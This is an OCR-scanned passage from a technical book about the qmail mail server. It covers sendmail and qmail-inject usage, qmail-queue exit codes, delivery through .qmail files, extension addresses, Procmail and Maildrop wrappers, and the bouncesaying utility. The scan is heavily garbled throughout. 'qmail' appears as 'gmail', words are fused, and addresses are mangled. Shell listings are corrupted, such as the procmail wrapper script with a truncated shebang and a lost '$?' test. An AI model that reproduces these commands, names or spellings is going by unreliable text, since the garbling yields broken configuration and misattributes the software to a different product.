programmer'sinterface for loca mail injection. gmail and most other non-Sendmail MTAS provide asendmail
program that works the same way asthe origina Sendmail's sendmail command for locd injection. gmail's sendmail
programisafairly smplewrapper around gmail-inject.

Thegmail sendmail, whichisnormally in ivar/gmail/bin/sendmail, usudly replaces the Sendmail sendmail on gmal
systems. Typicd locations of the sendmail program include:

Jusr/lib/sendmail

Jusr/shin/sendmail

Onagmall system, Is-| path-to-sendmail should show that sendmail isasymbalic link to /var/gmail/bin/sendmail:

$1s -1 /fusr/lib/sendmail

| rvxr wxr wx 1 root r oot 29 Feb 19 11:04 /usr/lib/sendmail ->
[var/ gmai | / bi n/ sendnmi |

$



Usage

The sendmail command supports the following options and arguments.

sendmail [ -t ] [ -fsender ] [ -Fnane ] [ -bp ] [

The message to be sent isread from standard input.

-bs ] [ recipient ... ]

For Sendmail compatibility, sendmail silently ignoresthe B, p, v, i, X, m, €, 0, E, J, and bm options.

Options

-t extracts recipients from the message. The To, Cc, and Bcc header fieldswill be scanned for recipients. (The Bec

fiddd will be removed before sending the message).

Caution

The gmail and Sendmall
implementations of thisoption

differ. With Sendmail, only therecipients
Specified in the message will receive
copies any recipients specified on the
commeand line areignored.With gmall,
both recipients specified on the
command line and recipients specified
in the message will receive copies.

-fsender setsthe envelope sender to sender doesn't affect the From header field.

-Fname setsthe MAILNAME environment variable to name.

Note

-bp runs gmail-gread to display the contents of the queue.

Seethe " gmail-inject Injection” section
on environment variables. If the
message containsaFrom field,
gmail-inject won't overrideit unless
QMAILINJECT containsthe f flag.
Also, MAILNAME will be overridden
by QMAILNAME if it's st.




Note

gmail-gread requires superuser
privileges.

-bs usesthe SMITP protocol. Input must be avalid sequence of SMTP commands, not a message.

Examples

A user crestesasimple messagein afile called msg using atext editor (see Listing 4-1).

Ligting 4-1: The msg file

me@xanpl e. com

. you@xanpl e. net
Subj ect: test

Test nmessage sent using gmail's sendnai l

To send the message to you@example.net, the user enters the following command:

$ /var/qgmail/bin/sendmail -t <nsg

$

Tip

Add /var/gmail/bin to your PATH to
avoid having to enter thefull path to
sendmail. Check the man page for
your shell for complete details, but
ather PATH=$PATH:/var/gmail/bin;
export PATH or set
path=($path/var/gmail/bin) should
work for the current shell sesson,
depending on which shell you're using.
Use type sendmail or which sendmail
to verify that the shell isusing thegmail
sendmail.

To send the message to you@example.net and me@example.com, the user smply adds the additiona recipient to

the commeand line:
$ sendmail -t ne@xanpl e. com <nsg
$

To send the message to you@example.net with an envelope sender address of info@example.com, the user adds an

f option:



$ sendmail -t -f "info@xanple.com <nsg
$

Note
Indl three of these examples, the
messages received look exactly likethe
message contained in msg: The From
and To header fields are not atered,
even though the envelope sender and
recipient might differ from them. The
envelope sender and recipient might be
added to the message by thereceiving
MTA. For example, gmail putsthe
envelope sender in a Return-Path field
and theenveloperecipientina
Delivered-Tofield.

To view the contents of the queue asroot:

# sendmail -bp

6 May 2001 12:32:11 GMI' #93881 97390 <dave@parge. exanpl e. conw
remote  dave@rash. exanpl e. net

#

This showsthat thereis currently one messagein the queue, ddivery number 93881, which isamessage of 97,390
bytes from dave@sparge.example.com to dave@mash.example.com.

gmail-inject I njection

In addition to emulating the sendmail interface, gmail hasits own injection program: gmail-inject. In fact, sendmail is
just awrapper around gmail-inject aprogram that emulates Sendmail's injection process, converting itsinputs from
the Sendmail styleto theformat gmail-inject requires.

Asaprogrammer'sinterface, sendmail is probably better because it's much more widely available. The gmail
programmer'sinterface provided by gmail-inject will only work on systemswith gmail, but the sendmall interfaceis
nearly universal.

For example, to send a blank message to eunice@example.com:

$ echo To: eunice@xanple.com| /var/qgmail/bin/qgnmail-inject
$

Thistakes amessage conssting solely of a To header field and passesit to gmail-inject, which adds additional header
fields and places the message in gmail's ddlivery queue.



gmail-inject Environment Variables

Because users usudly run gmail-inject indirectly though their MUAS, and those MUAs might even think they're calling
Sendmail, gmail-inject's behavior is controllable through the use of environment variables. Environment varigblesare
name/value pairs stored in the environment of a process and inherited by child processes. Most environment variables
are 52t in one of the user's shell configuration files (for example, .profile or .cshrc), so they're inherited by dl of the
USEr's processes.

Most of these variables are used to override default values supplied by gmail-inject or the MUA. Y ou don't need to
st any of these variables unless you're not satisfied with the results that can be achieved by configuring your MUA.

One common gpplication of these settingsis user or host masquerading: hiding real usernames or host names behind
aliases either for security or for aesthetics.

Setting the From Field

The From field identifies the sender of amessage. It congsts of alocd part (ausername or dias), adomain (host
name), and an optiona comment (usualy the sender's name) in thisformat:

From Optional - Conment <l ocal part @onai n>

For example:

From "Dave Sill" <dave@parge. exanpl e. conp
From dave@parge. exanpl e.com

From dave. sill| @xanpl e.com

From "D E Sill" <dave@xanpl e. conr

gmail-inject uses a series of variablesto set each of the three parts of the From field, ranging from gmail-specific
variablesto common Unix variables aso used by other programs.

Note
The QMAILINJECT environment
variable must contain the f optionif you
want the From fied constructed from
gmail-inject environment variablesto
overrideaFrom field inserted inthe
message by the MUA.

Setting the L ocal Part (Username)

gmail-inject looks for the following environment varigbles, in order:



QMAILUSER

MAILUSER

USER

LOGNAME

If it finds one of them, its value overrides the loca part of the addressin the From header of the message.

For example, if the environment containsthis:

USER=dave
QVAl LUSER=davi d. si | |

The From header will contain david.Gll.

Setting the Domain (Host)

gmail-inject looks for the following environment variables, in order:

QMAILHOST

MAILHOST

If it finds one of them, its value overrides the domain of the address in the From header of the message.

For example, if the environment containsthis:

MAI LHOST=duvel . exanpl e. net
QWAl LHOST=exanpl e. net

The From header will contain example.net.

Setting the Comment (Per sonal Name)

gmail-inject looksfor the following environment varigbles, in order:



QMAILNAME

MAILNAME

NAME

If it finds one of them, its value overrides the personal namein the From header of the message.

For example, if the environment containsthis:

NAVE=Dave Sil |
MAI LNAMVE=David Sill

The From header field will contain "David Sill" in addition to my e-mail address.

Setting the Envelope Sender Address

Environment variables can a so be used to override the default value of the nvelope sender address. The envelope
sender isusudly taken from the From header field.

QMAILSUSER

The QMAILSUSER (gmail sender user) environment variable specifies the username in the envel ope sender
address. For example, if the environment containsthis:

QWAl LSUSER=dave. si | |

and thelocd domain (from the defaultdomain contral file) is example.net, the envelope sender addresswill be
daves|l@examplenet.

QMAILSHOST

The QMAILSHOST (gmail sender host) environment variable specifies the host (domain) namein the envelope
sender address. For example, if the environment containsthis:

QWAl LSHOST=exanpl e. net

and the user (from the From header field) is dave, the envel ope sender address will be dave@example.net.



Overriding Control Files

The user can override dl of gmail-inject's control files through the use of environment variables (see Table 4-1). See
Chapter 3, "Configuring gmail: The Basics" for explanations of the functions of these contral files.

Table4-1: gmail-inject Environment Variables That Override Control Files

ENVIRONMENT VARIABLE CONTROL FILE
OMAILDEFAULTDOMAIN defaultdomain
OMAILDEFAULTHOST defaulthost
OQOMAILIDHOST idhost
OMAILPLUSDOMAIN plusdomain

Note

The QMAILINJECT environment
variable mugt contain the i optionif you
want the Message-1D field constructed
from QMAILIDHOST to overridea
Message-1D field generated by the
MUA.

Specifying Options

The QMAILINJECT environment variable can be set to a string of one or more | etters that enable optiona behavior
by gmail-inject.

Optionc

When set, gmail-inject uses "address-comment” style From fieldsinstead of the default "name-address’ format. For
example, the name-address formatted From field:

From "Dave Sill" <dave@all ertauer.exanpl e. conm>

would be written in address-comment style as

From dave@all ertauer. exanpl e.com (Dave Sill)

Note
Thisformat is outdated and the
"name-address' format should be used.



Optionf

When set, gmail-inject replaces the From field in amessage with one of its own creation. Without thef option, a
From field in the message overrides the From field created by gmail-inject.

For example, if the environment containsthis:

QWVAI LI NJECT=f
QVAl LHOST=exanpl e. net
QVAl LUSER=donna

The resulting message will contain the From field:

From donna@xanpl e. net

Optionii

When s&t, gmail-inject replaces the Message-1D fidld in amessage with one of its own creation. Without thei option,
aMessage-1D fidld in the message over-rides the Message-I D field created by gmail-inject.

For example, if the environment containsthis:

QVAI LI NJECT=i
QWAI LI DHOST=davesi | | . exanpl e. net

The resulting message will contain aMessage-ID field likethis:

Message- I D. <20011030124709. Al7455@lavesi | | . exanpl e. net >

Optionm

When set, gmail-inject uses a per-message Variable Envelope Return Peth (VERP). gmail-inject will gppend adate
stamp and its process 1D (PID) to the envelope sender. Thiswill dlow the sender to reliably detect bounce messages
resulting from the message.

For example, if the environment containsthis.

QWAI LI NJECT=m



The message will contain an envelope sender addresslikethis:

dave- 987343616. 11608@xanpl e. net

Optionr

When set, gmail-inject uses a per-recipient VERP. gmail-inject appends each recipient's address to the envelope
sender of the copy of the message sent to that recipient, substituting the equal sign (=) for theat Sgn (@) inthe
recipient's address. This alows the sender to reliably determine which addressis having delivery problems by
examining the address to which the bounce message is sent. Thisis useful because some bounce messages don't
clearly identify the offending address.

For example, if the environment containsthis:

QVAI LI NJECT=r

and amessage is sent to euni ce@scraps.example.com, the message will contain an envelope sender addresslike this:

dave- euni ce=scr aps. exanpl e. com@xanpl e. net

Option's

When set, gmail-inject ignores Return-Path header fields. Without this option, gmail-inject will use aReturn-Path
header to set the envelope sender address, overriding any of the environment variables normally used to set the
envelope sender. Whether option sis set or not, gmail-inject will remove the Return-Path field.

Setting Mail-Followup-To

Most MUAs have two kinds of reply functions: areply to sender and areply to al. Thereply to sender directsthe
reply to the person who wrote the origina message. Thereply to al function sendsthe reply to the originator and dl
recipientslisted in the Cc header fidd.

Thisworkswell for messages addressed to individuas but has problems with messages sent to mailing lists. In that
case, areply to dl will usudly send the originator two copies: one directly and one through the mailing list.

To avoid this problem, gmail creator Dan Bernstein devised anew header field: Mail-Followup-To. When s, this
field provides the address to which areply to dl replies should be sent.

To automate the creation of Mail-Followup-To fidds, gmail-inject looks for the environment variable
QMAILMFTFILE, which should be st to the name of afile containing alist of the mailing listssto which the user is
subscribed. When gmail-inject sees a message containing amailing list inthe To or Ccfidds, it createsa
Mail-Followup-To field containing all of the addressesin the To and Cc fields,



For example, if ausar's environment containsthis:

QVAI LMFTFI LE=$HOME/ . nmi | i ngli sts

and their HOME/ mailinglistsfile containsthis:

gmai |l @ist.cr.yp.to

And the user sendsthis message:

From newbi e@ sp. exanpl e. net
To: gmail @ist.cr.yp.to
Subj ect: gmail slow to connect

Why does gmail take so long to respond to incom ng SMIP connecti ons?

Then gmail-inject will add this header field:

Mai | - Fol | owmup-To: gmail @ist.cr.yp.to

Userswith MUAs that understand the Mail-Followup-To header field will then direct reply to al repliesto
gmail @ligt.cr.yp.to. At thetime of thiswriting, the current versions of Mutt, nmh, and Gnus support
Mail-Followup-To.

gmail-queue I njection

All messagesthat enter gmail's queue come in viagmail-queue, whether they wereinjected usng SMITP,
gmail-inject, or sendmail. gmail-queue is gmail'sinjection primitive. It's not intended to be run directly by users. The
interfaceis user-unfriendly and it does nothing to the message to verify that it's valid according to RFC 2822.

Nevertheless, savvy users can useit to efficiently inject messages.
Usage

gmail-queue reads a message from descriptor O (zero) and a specidly formatted envelope from descriptor 1 (one). If
the message is successfully queued, gmail-queue exitswith astatus of 0. If the message is not successfully queued, it
exitswith astatus between 1 and 99. Exit status codes between 11 and 40 indicate permanent failures, and
everything dseindicatestemporary falure. Table 4-2 showsal of the status codes used by gmail-queue.

Table 4-2: gmail-queue Exit Status Codes



CODE MEANING

0 Success

11 Addresstoo long

51 Out of memory

52 Timeout

53 Write error; for example, disk full

54 Unable to read the message or envelope
61 Problem with the gmail home directory
62 Problem with the queue directory

63 Problem with queue/pid

64 Problem with queue/mess

65 Problem with queue/intd

66 Problem with queueltodo

81 Internd bug; for example, sesgmentation fault
91 Envelope format error

The envelopeformat isthis:

Fsender A@r eci pr@reci p. .

@@




where @ represents a zero byte (ASCI1 NUL), sender isthe address of the sender, including an @ followed by a
fully quaified domain name, and recip isthe address of arecipient, dso including an @ and afully qudified domain
name. Thelist of recipientsisterminated by two consecutive zero bytes.

Example

Using atext editor, auser creates afile caled msg containing the message (header and body) he wantsto send (see
Ligting 4-2).

Listing 4-2: The msg file

"Joe" <bi g.cheese@ sp. exanpl e. conp
0: Wiite, M O ange
Subj ect: Breakfast at Uncle Bob's

Let's nmeet tonorrow at 9:00 to discuss the job.

-Joe

B

The To header field in the msg file
violates RFC 2822. Do that at your
own risk.

Also using atext editor, the user crestes afile caled env containing the envelope information (see Listing 4-3).

Liging 4-3: The env file
icheese@ sp. exanpl e. com @l arry@xanpl e. net *@f reddy@ sp. exanpl e. comr@ @

The user uses gmail-queue to send the message:

$ /var/qgmail/bin/gmil-queue < msg 1< env
$ echo $?

0

$

Thefirst command cals gmail-inject with msg on descriptor 0 and env on descriptor 1. The second command
displaysthe exit status code from the previous command, which indicates that the message was successfully queued.

< Free Open Study >
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Receiving M essages

Using gmail's.gmail files, users can direct incoming messages to mailboxesin two different formats, forward them on
to other addresses, or process them automaticaly using scripts and programs such as vacation reminders, filters, and
other message ddlivery agents (MDAS). Using .gmail files, users can manage their private address space: cresting and
ddeting addresses. To makethiseasier, .gmail can "wildcard" match addresses. One .gmail can process all

addresses matching a specified prefix.

For compatibility with Sendmail, Bernstein's dot-forward package implements message disposition via .forward files.
Because Sendmail's .forward wasn't designed for user-managed address spaces, dot-forward isless useful than the
dot-gmail mechanism. It's mostly used when migrating from Sendmail to gmail. Because dot-forward isn't part of
gmail, well cover ingtdlation aswell as usage.

Dot-gmail Files

The ddivery of auser'smail is controlled by one or more .gmail (also known as dot-gmail ) files. Dot-gmal files
residein the user's home directory and have names beginning with .gmail. The dot-gmail man page describes using
.gmail files

Dot-gmall filescontain alist of ddivery ingtructions, oneingtruction per line (see Table 4-3). Each linesfirst character
determineswhat kind of ddivery isinvolved.

Table4-3: Dot-gmail Ddivery Types

CHARACTER DELIVERY TYPE VALUE
# None (comment) Ignored
Program Command to be run by shell
/or. mbox (if last char isn't a/) Path name of mbox (including the
leading/ or .)
lor. maildir (if last char isa/) Path name of maildir (including the
leading/ or .)




& Forward Address to which message will be
forwarded

L etter or number Forward Address to which message will be
forwarded (including the leading
letter or number)

Path names starting with dot (.) are relative to the user's home directory.

Program Delivery

When aprogram delivery ingtruction is encountered, gmail starts ashell (/bin/sh) to execute the command and feeds
the command a copy of the incoming message on standard input. The gmail-command man page documentsthe
details of this process.

Program delivery is powerful and can be used to implement awide range of functionality such as messagefiltering,
automatically responding to messages, and delivery viathird-party deivery agents such as Procmall.

For example:

| preline /usr/uch/vacation naryjane

This causes gmail to Sart preline, passit /usr/ucb/vacation and maryjane as arguments, and provide a copy of the
message on standard input.

Mbox Delivery

mbox isthe traditiond Unix mailbox format, in which multiple messages are stored in asingle file and messages are
headed with aFrom line. Thislinelookslike aheader field, but it isn't: It'sjust something the delivery agent adds so
mail readers can tell where each message begins.

For example:

./ Mai | box

This causes messages to be gppended to SHOME/Mailbox, with a From line prepended. A simple mbox mailbox
with asngle messagelookslikethis



From rachel @xanpl e. net Thu May 13 18: 34: 50 2001

Ret ur n- Pat h: <rachel @xanpl e. net >

Del i ver ed- To: samant ha@xanpl e. com

Recei ved: (gmail 1287205 invoked from network); 13 May 2001 18: 34: 49 -0000
Date: 13 May 2001 18:34:21 -0000

Message- | D <20010513183421. 7329. gnai | @xanpl e. net >

From rachel @xanpl e. net

To: sanmant ha@xanpl e. com

Subj ect: hey

What's up?

Thefirg linewas added a delivery by gmail.

Maildir Delivery

Berngtein created the maildir mailbox format to address the shortcomings of the mbox format. A maildir mailbox isa
directory containing three subdirectories: new, cur, and tmp. Each message in amaildir mailbox iscontained in a
separate filein one of the subdirectories, depending upon its status: new isfor unread messages, cur isfor messages
that have been seen, and tmp isfor messagesin the process of being ddivered. The maildir man page describes the
format of amaildir in detail.

One of the benefits of the maildir format isthat, even though it doesn't use locking to prevent s multaneous updates
from different ddivery agents, it'sreliable. Thismeans maildir mailboxes can safely reside on Network File System
(NFS) mounted file systems.

For example:

. Mai I dir/

This causes messages to be saved in $SHOME/Maildir, amaildir-format mailbox.

Note
gmail-local can ddiver mal to maildir
mailboxes, but it can't creete them.
Maildir mailboxes should be crested
with the maildirmake program that
comeswith gmail. For example:
maildirmake ~/Maildir .

Forward Delivery

Forward deliveries cause the message to be re-sent to the specified address. Addresses specified in .gmail files can't
contain comment fields or extra spaces.



These are wrong:

&<don@xanpl e. conr
& don@xanpl e. com
&Dbon User <don@xanpl e. conr

These are correct:

&don@xanpl e. com
don@xanpl e. com
&don

Thefirg two cause don@example.com to receive a copy of the message. The last sends acopy to theloca user don.

Multiple Deliveries

In some cases, you'll want messages delivered more than once. For example, you might want to fileacopy inaloca
mailbox aswell asforward to another address:

I Maildir/
dave@rash

That will save acopy of each message in SHOME/Maildir and forward another copy to dave@mash.

Note
Unlike Sendmail, gmail won't recognize
an ingtruction to forward a copy to
yoursdlf asarequest to deliver acopy
to your main mailbox. If you want to
keep a copy, you'll haveto tel gmall
whereto put it. If you do forward a
copy to your-sdf, gmail will detect the
loop and bounce the message.

Error Handling

If any ddivery in adot-gmail filefails, gmail-loca stops processing thefileimmediately and returnsan error. Entriesin
dot-gmail files are executed in order with one exception: All forward deliveries are saved for last. This meansthat if
any delivery fails, none of the forward ddliverieswill be attempted regardless of the order of entriesin thefile. If the
dot-gmail file contains:

dave@mash
I Maildir/



And the maildir ddlivery fails because Maildir doesn't exi<t, has the wrong format, has the wrong owner or mode, or
any other reason gmail-loca will not forward a copy to dave@mash.

Tip
Y ou can "uncouple’ theddiveriesina
dot-gmail file by making themal
forward deliveries. Ingead of mixing
mail-box and program ddliverieswith
forward deliveries, have mailbox
ddiveriesforward to another dot-gmail
filefirg. For the previous example, you
could changethe ./Maildir/ entry to
username-maildir and create a
.gmail-maildir filecontaining ./Maildir/.
Now, even if the Maildir ddivery fails,
acopy will be sent to dave@mash.

Hard and Soft Errors

If the program returns an exit code of O (zero), the ddivery is considered successful and the remaining ddliveries, if
any, are processed normaly. If it returns 99, the ddlivery is till consdered successful, but remaining deliveries are

kipped.

Any other exit codeis considered afailure. If the exit codeis 111, gmail consdersthefailuresoft" (temporary) and
will retry the ddivery periodicdly. If the exit codeis 100, gmail consdersthefailure "hard" (permanent) and
immediately generates a bounce message to the envel ope sender. The output of the program, if any, will beincluded
in the bounce message.

Most other exit codes are considered soft. Currently 64, 65, 70, 76, 77, 78, and 112 are considered hard, but thisis
subject to change. If you have the choice, use either 100 or 111 to be safe.

For example, user donnawants to bounce al mail sent to donna-junk. In $HOME/.gmail-junk she can put this:

|exit 100

which will immediately generate a bounce message back to the sender. If she wantsto include an explanation for the
bounce, she can include an echo command:

| echo "This address is disabled." & exit 100

Or, using the bouncesaying utility described below:

| bouncesaying "This address is disabled."



Conditional Delivery

In the case of program ddlivery, the exit status returned by the program determines how gmail-local will process
remaining dot-gmail ddliveries. If the program returns an exit code of 99, gmail-loca will ignore al of the following
deliveries, but it will still honor preceding forward ddliveries.

This behavior can be used to implement conditiond ddivery if X istrue, then deliver the message, else bounce the
message.

For example, say user donna wants the address donna-website to exist and deliver to the maildir
$HOME/Mail/website but only if the From header field contains website.com. She could create
SHOME/.gmail-website with these contents.

| (grep ""From™" |fgrep -i "website.com >/dev/null) || exit 100
./ Mai |/ websi te/

Thefirst line extracts the From field from the message and searchesit for website.com. The second line ddiversthe
message to the website maildir but only if thefirst lineis successful.

Tip
Bernstein's mess822 package, available
from http://cr.yp.to/mess822.html,
providesadutility called 822field that
reliably extracts agiven header field
from amessage. The grep command in
the previous example would aso maich
aFrom: website.com linein the body
of the message. Also, remember that
heeder fields are easily forged.

Extension Addresses

gmail supports user-controlled extension addresses. In addition to the base address, username@hostname.domain,
users can receive mail at username-extens on@hostname.domain. For the remainder of this section, welll leave off the
@hostname.domain part because we're talking about local ddliveries.

Theddivery indructionsfor username-extension are stored in ~username/.gmail-extension, thefile .gmail-extenson in
user username's home directory.

For example, dave-tgh@sparge.example.com is controlled by ~dave/.gmail-tgh on host sparge.

Extensions can have multiple fields. For example, dave-list-old97swould be controlled by ~dave/.gmail-list-old97s.


http://cr.yp.to/mess822.html
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Inthisexample, dave-ligt-old97sis subscribed to the old97s mailing list, and ~davel.gmail-lig-old97sfilesthe list
messages in a separate mailbox.

.gmail files can be wildcarded using -default. So dave-list-0ld97s could a so be handled by ~dave/.gmail-list-default.
Thiswould dlow one catichdl .gmail fileto handle dl dave-lig-whatever addresses. Note that dave-list wouldn't be
handled by ~dave/.gmail-list-default because it doesn't match the hyphen (-) after list. It would be handled by
~davel.gmail-list or ~dave/.gmail-defauilt.

gmail usesthe closest match it finds. When a message comesin addressed to dave-list-0ld97s, it'll usethe first one of
thefollowing that it finds:

.gqmail-1ist-old97s
.gqmail-1ist-default
.gmai | - def aul t

If no matching .gmail fileisfound, the delivery defaultsto the specid user dias, where gmail looks for matching
sysem diases.

gmail-command Environment Variables

gmail-loca uses severa environment variablesto provide useful information to commands run through dot-gmail files
(see Table4-4).

Table 4-4: gmail-command Environment Variables

VARIABLE CONTENTS

SENDER Envelope sender address

NEWSENDER Forwarding envelope sender address, as described in
dot-gmail

RECIPIENT Envelope recipient address

USER Locd user'susername

HOME Loca user'shome directory

HOST Domain part of the recipient address




LOCAL Local part of the recipient address

EXT Addressextension

HOST?2 Portion of HOST preceding the last dot

HOST3 Portion of HOST preceding the second-to-last dot

HOST4 Portion of HOST preceding the third-to-last dot

EXT2 Portion of EXT following thefirst dash

EXT3 Portion of EXT following the second dash

EXT4 Portion Of EXT following the third dash

DEFAULT Portion of LOCAL matched by -default in adot-gmail
file

DTLINE Ddivered-Toling, including newline

RPLINE Return-Peth lines, including newline

UFLINE UUCP-gtyle From linethat gmail-local addsto
mbox-format deliveries

Examples

Caution

Because these environment variables
are set from the contents of messages
supplied by potentialy maicious users,
they may contain characterswith
specid meaning to the shell used to run
the command. Users should take care
to quote them when referencing them.




A message is sent to dave-ext1-ext2-ext3-ext4-ext5@mash.example.com, which is handled by
.gmail-ext1-ext2-ext3-ext4-ext5. The message was sent by david@example.com. Table 4-5 showstheresults.

Table 4-5: Example gmail-command Environment Variable Settings

VARIABLE SETTING

SENDER david@example.com

NEWSENDER david@example.com

RECIPIENT dave-ext1-ext2-ext3-ext4-extS@mash.example.com

USER dave

HOME /home/dave

HOST mash.example.com

LOCAL dave-ext1-ext2-ext3-ext4-ext5

EXT extl-ext2-ext3-ext4-ext5

HOST?2 mash.example

HOST3 mash

HOST4 mash

EXT2 ext2-ext3-ext4-exts5

EXT3 ext3-ext4-ext5

EXT4 ext4-exts

DEFAULT unset

DTLINE Ddivered-To:
dave-ext1-ext2-ext3-ext4-ext5@mash.example.com\n

RPLINE Return-Path: Return-Path: <david@example.com>\n

UFLINE From david@example.com Sun May 06 16:40:30
2001\n

If the same message was sent to the same address but was handled by .gmail-ext1-ext2-ext3-default, the
environment would be identical except that DEFAULT would contain ext4-ext5.




Filtering Mail

Inthe early days of the Internet, most users had al incoming mail delivered to a single mailbox. These days, many
usersarefinding it desirable, or even necessary, to plit their incoming mail into multiple mailboxes, depending on
whereit camefrom, such asaparticular user or Site, or where it was sent, such asto amailing list or extension
address.

Before gmail, MTA support for user-managed address spaces was uncommon, so most of this splitting was done
using filtering MDAs like Procmail or Maildrop. These MDASs alow the user to perform pattern matches against
incoming messages and to direct them to more specific mailboxes.

Unfortunately, filtering is complicated, fragile, and expensive. It's complicated because the powerful filtering requires
powerful tools, and powerful tools are complex. It's fragile because the Internet is dynamic. Users change Internet
service providers (ISPs), and their addresses change breaking filtering rules based on their address. | SPs change
software and configurations, changing the contents of message sent by their users, potentialy breaking filtering rules.
Filtering is expensve because each ddivery requires starting up the filtering MDA, which must then parse thefilter
rules, parse the message, and deliver the message accordingly.

Luckily, gmail's user-managed address space makes filtering largely obsolete. Instead of giving everyoneasingle
address that dumpsinto asingle in-box, users can create new addresses as needed for new purposes and efficiently
and reliably direct messages to those addresses to different mailboxes.

Extension Addresses

Using extension addressto direct incoming mail iseasy. Before giving out your e-mail addressto friends and family,
subscribing it to mailing lists, and registering it on Web sites, ask yoursdf if you really want mail from this sender to
land in your main in-box. Web site registrations and high-volume mailing lists are prime candidates for dedicated
extension addresses.

Once you decide to give out an extension address, you have to do two things:

1.

Choose aunique, sdlf-identifying extenson.

Set up adot-gmail file to handle the new extension.

If you're subscribing to amailing list, agood extension address might be username-ligt-listname. If yourefilling out a
Web ste registration that requires an e-mail address, you might use user name-web-website. In elither caseyou
could leave out the -list- or -web- part, but there are a couple reasons to use them. Firg, they help document the
intended purpose of the address and prevent conflictsin the event that alist and Web site have the same name.
Second, they alow you to set up -default dot-gmail filesthat catch entire classes of extension addresses.



If you use username-listname or username-website, you'll have to create .gmail-listname or .gmail-website before
the associated address will work. That means you can't spontaneoudy create a new address while you're away from
computer without there being some chance of bouncing mail to that address before you create the dot-gmail file.

If you instead create .gmail-list-default and .gmail-web-default and direct them to generic, temporary mailboxeslike
SHOME/Mail/lisg/default and SHOM E/Mail web/default, you can give out new -list and -web addresses "on thefly*
and create specific .gmail-list-listname or .gmail-web-website files at your convenience. Any mail sent to the new
addresses before then will smply go to the default mailbox.

Subscribing Extension Addressesto Mailing Lists

How you subscribe an extension addressto amailing list depends upon how thelist is managed.

If you subscribe viaa Web form, smply enter the extension addressin the form (see Figure 4-1).

If you subscribe viae-mail, the subscribe command might alow you to specify the address. For example, use
subscribe listhame user -list-listhame for Mg ordomo or listhame-subscribe-username- list-listhame
=example.com@listserver for ezmim.

If you subscribe viae-mail but the subscribe command doesn't dlow you to specify the address, format the
request so that the extension address appears to be the sender either by specifying the From header with
your MUA or by using gmail-inject environment variables.

Sabncwiba

Figure 4-1: Subscribing viaaWeb form

Procmail

Procmail isapopular MDA. Thefunction of an MDA isto accept a message from the M TA for a specific user or
mailbox and deliver the message according to the user's desires. Procmail can be used to filter messages based upon
the content of various header fields or the body of the message. For example, messages from a particular person can
be directed to amailbox for just that person.

There are acoupletricksto running Procmail with gmall. First, procmail isusudly built to deliver to an mbox mailbox
in /var/spool/mail. Y ou can rebuild procmail to default to SHOME or you can instruct users not to rely on procmail to



default the location of the mbox. Unlessyou patch it for SHOME ddlivery, procmail will still use ivar/spool/mail for its
temporary files

Ancther problem isthat gmail-local and procmail don't have acommon interpretation of exit codes. procmail usesthe
standard Unix exit codes: Zero means success, honzero means failure, and the cause of the failureisindicated by
/usr/include/sys/errno.h. gmail-local uses certain non-zero codes to indicate permanent errors and the rest are
considered temporary. A small shell script wrapper can be used to trandate the exit codes for gmail-local (see Liding
4-9).

Ligting 4-4. gmail-procmail

n/ sh

yright (c) 1998-2001 Software in the Public Interest
# <http://ww. debi an. org/ >

# Witten by Philip Hands. Distributed under the GNU GPL
# Modified slightly by Dave Sill

preline /usr/bin/procmail &% exit O

# check if procmail returned EX_ TEMPFAIL (75)
[ 2 = 75 ] && exit 111

# otherwi se return a permanent error
exit 100

Older versonsof Procmail (prior to 3.14) don't ddliver directly to maildir-format mailboxes. Y our best bet isto
upgrade to the current version of Procmail. Another approach is Safecat, a program that writes amessage on
standard input to a specified maildir. Users can write Procmail recipes (ddivery ingtructions) that use safecat tofile
the message in amaildir.

Finally, procmail expects the messagesit receivesto bein mbox format. Norma gmail program ddliveriesinclude
only the actua mail message, not including aFrom line. The preline command (see"" User Utilities") can be used to
format the message as procmail expects.

For example, let's say a user wants hismail to be processed by procmail. His system administrator has built procmail
to ddliver to SHOME by default and hasinstaled the wrapper above in /usr/loca/bin/gmail-procmail. His .gmail file
should look likethis:

| /usr/1ocal /bin/qgnail-procnail

How procmail filtersand delivers mail is determined by the .procmailrc file. See the procmailrc man page for a
description of the format and the procmailex man page for examples.

Of course, Procmail must be ingtdled on your system before you can use it. See the Procmail home page (
http://www.procmail.org/) for more information on inga lation.

Maildrop
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Maildrop isafiltering MDA with capabilities smilar to Procmall. It was designed to work with gmail, so preline and
exit code wrgpping is unnecessary.

Invoking maildrop from .gmail is Straightforward:

| mai | dr op

How maildrop filtersand ddivers mail is determined by the .mailfilter file. See the maildropfilter man pagefor a
description of the format and the maildropex man page for examples.

Of course, Maildrop must be installed on your system before you can use it. See the Maildrop home page (
http:/Aww.flounder.net/~mrsam/maildrop/) for more information on ingtdlation.

< Free Open Study >
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User Utilities

gmail includesafew utilitiesthat are useful in dot-gmail files and for managing mailboxes. The dot-gmail utilitiesare
handy for constructing dot-gmail filesthat do conditiona delivery and bounces. The mailbox utilities are geared
toward making maildir mailboxeswork in Unix's historically mbox-oriented environment.

bouncesaying

Usage: bouncesaying error-message [ command]

Description: The bouncesaying command accepts an error message and an optional command to berun. If a
command is supplied, it's run with the current message on standard input. If the command exits with asuccesstul
code (zero), or no command is supplied, bouncesaying prints the error message and exits with the code 100 (hard
error), causing a bounce message to be generated and interrupting the processing of the dot-gmail file. If the
command exits with the code 111 (soft error), bouncesaying also exitswith 111 so the ddlivery will beretried later. If
the command exits with any other code, bouncesaying exits with code O (zero) without printing the error message.

Caveats: If you create a.gmail file to use bouncesaying, you must so add alineto ddliver messagesto your
mailbox because the default ddivery ingructionswill no longer be used.

Examples: To unconditionaly bounce dl messages handled by adot-gmail file:

| bouncesayi ng "This mail box has been deactivated."

The bounce message generated as aresult of ddivering to thisdot-gmail filewill look likethis:

From MAI LER- DAEMON Sun Apr 22 17:55:27 2001
Date: 22 Apr 2001 17:55:27 -0000

From MAI LER- DAEMON@ par ge. exanpl e. com

To: debbi e@xanpl e. net

Subj ect: failure notice

H . This is the gmail-send program at sparge. exanpl e.com
I"'mafraid | wasn't able to deliver your nmessage to the follow ng addresses.
This is a permanent error; |'ve given up. Sorry it didn't work out.

<bounce@par ge. exanpl e. cone:
Thi s address has been deacti vat ed.

- Below this Iine is a copy of the nessage.
Ret ur n- Pat h: <debbi e@xanpl e. net >

Recei ved: (qgnmail 6863 invoked by uid 500); 22 Apr 2001 17:55:27 -0000
Message- | D <20010422175527. 6862. qnai | @xanpl e. net >



Date: Sun, 22 Apr 2001 13:55:27 -0400
From debbi e@xanpl e. net
To: bounce@par ge. exanpl e. com

